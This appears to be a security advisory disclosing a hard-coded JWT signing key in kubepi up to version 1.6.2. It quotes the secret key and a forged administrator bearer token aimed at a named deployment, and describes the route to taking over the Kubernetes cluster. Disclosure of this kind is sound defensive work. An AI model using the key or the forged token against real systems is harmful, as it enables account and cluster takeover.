Description

The jwt authentication function of kubepi <= v1.6.2 uses hard-coded Jwtsigkeys, resulting in the same Jwtsigkeys for all online projects. This means that an attacker can forge any jwt token to take over the administrator account of any online project. Further use the administrator to take over the k8s cluster of the target enterprise.

Proof of Concept

The hard-coded jwtSigKey value of kubepi is signature_hmac_secret_shared_key, so it only needs to sign the forged jwt token.

Taking kubepi deployed on zhgd-kubepi.xingshicloud.com as an example, an attacker can forge the following jwt tokens:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml 0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5 hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfSwiaWF0IjoxNjcyNjUxNzc2LCJleHAiOjE3ODM2NTIzNzZ9.i-83qNf6pGJkUYdZCk nHeTG6PsYKc1FRyjrRcPJUKvI

After the administrator account is successfully taken over, you can take over the k8s cluster

Impact

An attacker can forge any jwt token to take over the administrator account of any online project. Further use the administrator to take over the k8s cluster of the target enterprise.